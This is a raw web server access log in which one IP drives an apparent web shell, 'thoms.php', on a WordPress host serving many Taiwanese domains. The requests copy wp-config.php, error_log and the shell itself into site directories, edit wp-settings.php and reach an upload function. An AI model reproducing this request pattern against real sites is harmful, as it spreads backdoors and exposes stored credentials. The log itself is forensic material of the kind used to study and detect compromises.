45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22049 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /betcity.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /betcity.com.tw/cgi-bin/ HTTP/1.1" 200 691 "https://163.245.207.76:443/betcity.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11924 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17414 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12309 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17585 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21995 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21980 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21955 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17863 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p= HTTP/1.1" 200 12328 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17853 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Ferror_log&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 22849 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?edit=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 19228 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17934 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fthoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
